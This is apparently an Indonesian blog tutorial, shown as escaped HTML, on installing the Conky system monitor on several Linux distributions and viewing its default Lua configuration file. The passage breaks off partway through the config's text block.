&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita dapat memasang Conky langsung dari repo resmi di Github atau dari repo distro masing-masing. Kalau memasang Conky dari repo distro, silakan disesuaikan dengan &lt;em&gt;package manager&lt;/em&gt; masing-masing distro-nya ya. Di sini, saya hanya akan memberikan cara instalasi Conky via repo distro.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Install&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/bookworm/conky-all&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Debian&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install conky-all&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64../images/conky/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S conky-all&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/conky&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;OpenSuse&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in conky-all&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs../images/conky/conky/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install conky-all&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Sebagai info, saya meng-&lt;em&gt;install&lt;/em&gt; Conky di Debian 12 (Bookworm).&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Berikutnya, setelah proses instalasi selesai, kita hanya perlu menjalankan perintah berikut untuk menampilkan Conky pada layar desktop linux kita:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Di bawah ini adalah Conky yang sedang berjalan dengan konfigurasi default:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1212&quot; height=&quot;500&quot; src=&quot;/_astro/ss1.5ASMtqNj_Z1XGQrw.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan kita hanya perlu menekan &lt;code&gt;Ctrl+c&lt;/code&gt; untuk me-non-aktifkan Conky.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Konfigurasi Sederhana&lt;a href=&quot;#konfigurasi-sederhana&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebetulnya, konfigurasi default Conky tersebut sudah bisa dibilang cukup untuk menampilkan info-info tentang sistem yang relevan. Misalnya, config tersebut sudah menampilkan penggunaan CPU, Memory (RAM), dan Penyimpanan (Disk) komputer kita. Jadi, kalau kalian hanya memerlukan fungsi saja, maka menurut config default Conky tersebut sudah sangat cukup.&lt;/p&gt;&lt;p&gt;Tapi, jika kita ternyata hanya membutuhkan beberapa info spesifik saja, misalnya info tentang CPU, RAM, dan Disk, tentu kita bisa melakukan modifikasi konfigurasi agar info yang ditampilkan oleh Conky hanya apa yang kita butuhkan tadi saja. Oleh karena itu, pada dasarnya, modifikasi konfigurasi Conky menyesuaikan dengan kebutuhan atau keinginan dari masing-masing penggunanya.&lt;/p&gt;&lt;p&gt;Sekarang, kita akan mencoba melakukan modifikasi sederhana pada konfigurasi Conky. Kita bisa mencari file config-nya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;whereis&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;756&quot; height=&quot;209&quot; src=&quot;/_astro/ss2.DD-9cNnG_REl9k.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Yup, file konfigurasi Conky terletak di &lt;code&gt;/etc/conky/conky.conf&lt;/code&gt;. Berikut isi filenya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Conky,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;monitor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/brndnmtthws/conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;This&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Lua&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;code.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;You&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;can&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;write&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;code&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;here,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;it&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;will&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;execute&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;when&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Conky&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;loads.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;You&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;can&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;use&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;it&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;generate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;advanced&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configurations.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Try&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;this&lt;/span&gt;&lt;span&gt; (remove &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Loading Conky config&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;For&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;more&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Lua,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;see:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://www.lua.org/pil/contents.html&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;conky.config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;alignment&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;top_left&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;background&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;border_width&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;cpu_avg_samples&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;default_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;white&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;default_outline_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;white&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;default_shade_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;white&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;double_buffer&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;draw_borders&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;draw_graph_borders&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;draw_outline&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;draw_shades&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;extra_newline&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;font&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;DejaVu Sans Mono:size=12&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;gap_x&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;60,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;gap_y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;60,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;minimum_height&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;minimum_width&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;net_avg_samples&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;no_buffers&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;out_to_console&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;out_to_ncurses&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;out_to_stderr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;out_to_x&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;own_window&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;own_window_class&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;Conky&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;own_window_type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;desktop&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;show_graph_range&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;show_graph_scale&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;stippled_borders&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;update_interval&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.0,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;uppercase&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;use_spacer&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;none&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;use_xft&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;conky.text&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [[&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;grey&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Info:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;scroll&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Conky&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$conky_version&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$sysname&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$nodename&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$kernel&lt;/span&gt;&lt;span&gt; 